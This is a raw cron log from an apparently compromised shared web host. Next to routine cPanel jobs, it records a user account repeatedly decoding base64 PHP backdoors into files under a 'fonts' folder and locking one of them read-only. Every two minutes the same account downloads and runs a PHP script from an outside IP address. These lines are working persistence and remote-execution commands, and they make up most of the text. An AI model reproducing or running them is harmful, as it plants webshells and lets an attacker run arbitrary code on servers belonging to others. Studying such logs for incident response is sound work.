Sep  3 17:38:01 ip-184-168-122-23 CROND[8489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:39:01 ip-184-168-122-23 CROND[8579]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:39:01 ip-184-168-122-23 CROND[8581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:39:01 ip-184-168-122-23 CROND[8584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:39:01 ip-184-168-122-23 CROND[8582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:39:01 ip-184-168-122-23 CROND[8583]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 17:40:01 ip-184-168-122-23 CROND[8681]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 17:40:01 ip-184-168-122-23 CROND[8682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:40:01 ip-184-168-122-23 CROND[8685]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:40:01 ip-184-168-122-23 CROND[8687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:40:01 ip-184-168-122-23 CROND[8688]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 17:40:01 ip-184-168-122-23 CROND[8689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:40:01 ip-184-168-122-23 CROND[8686]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 17:40:01 ip-184-168-122-23 CROND[8690]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 17:41:01 ip-184-168-122-23 CROND[8849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:41:01 ip-184-168-122-23 CROND[8850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:41:01 ip-184-168-122-23 CROND[8851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:41:01 ip-184-168-122-23 CROND[8853]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:42:01 ip-184-168-122-23 CROND[8932]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 17:42:01 ip-184-168-122-23 CROND[8934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:42:01 ip-184-168-122-23 CROND[8936]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:42:01 ip-184-168-122-23 CROND[8935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:42:01 ip-184-168-122-23 CROND[8937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:43:01 ip-184-168-122-23 CROND[9019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:43:01 ip-184-168-122-23 CROND[9022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:43:01 ip-184-168-122-23 CROND[9021]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:43:01 ip-184-168-122-23 CROND[9023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:44:01 ip-184-168-122-23 CROND[9093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:44:01 ip-184-168-122-23 CROND[9095]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 17:44:01 ip-184-168-122-23 CROND[9096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:44:01 ip-184-168-122-23 CROND[9097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:44:01 ip-184-168-122-23 CROND[9098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:45:01 ip-184-168-122-23 CROND[9194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:45:01 ip-184-168-122-23 CROND[9195]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:45:01 ip-184-168-122-23 CROND[9196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:45:01 ip-184-168-122-23 CROND[9198]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 17:45:01 ip-184-168-122-23 CROND[9199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:45:01 ip-184-168-122-23 CROND[9197]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 17:46:01 ip-184-168-122-23 CROND[9383]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 17:46:01 ip-184-168-122-23 CROND[9385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:46:01 ip-184-168-122-23 CROND[9387]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 17:46:01 ip-184-168-122-23 CROND[9390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:46:01 ip-184-168-122-23 CROND[9389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:46:01 ip-184-168-122-23 CROND[9393]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:46:01 ip-184-168-122-23 CROND[9392]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 17:47:01 ip-184-168-122-23 CROND[9483]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:47:01 ip-184-168-122-23 CROND[9486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:47:01 ip-184-168-122-23 CROND[9485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:47:01 ip-184-168-122-23 CROND[9487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:48:01 ip-184-168-122-23 CROND[9562]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:48:01 ip-184-168-122-23 CROND[9565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:48:01 ip-184-168-122-23 CROND[9566]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 17:48:01 ip-184-168-122-23 CROND[9564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:48:01 ip-184-168-122-23 CROND[9567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:49:01 ip-184-168-122-23 CROND[9643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:49:01 ip-184-168-122-23 CROND[9645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:49:01 ip-184-168-122-23 CROND[9646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:49:01 ip-184-168-122-23 CROND[9647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:50:01 ip-184-168-122-23 CROND[9727]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 17:50:01 ip-184-168-122-23 CROND[9728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:50:01 ip-184-168-122-23 CROND[9729]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 17:50:01 ip-184-168-122-23 CROND[9737]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 17:50:01 ip-184-168-122-23 CROND[9736]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 17:50:01 ip-184-168-122-23 CROND[9739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:50:01 ip-184-168-122-23 CROND[9738]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 17:50:01 ip-184-168-122-23 CROND[9741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
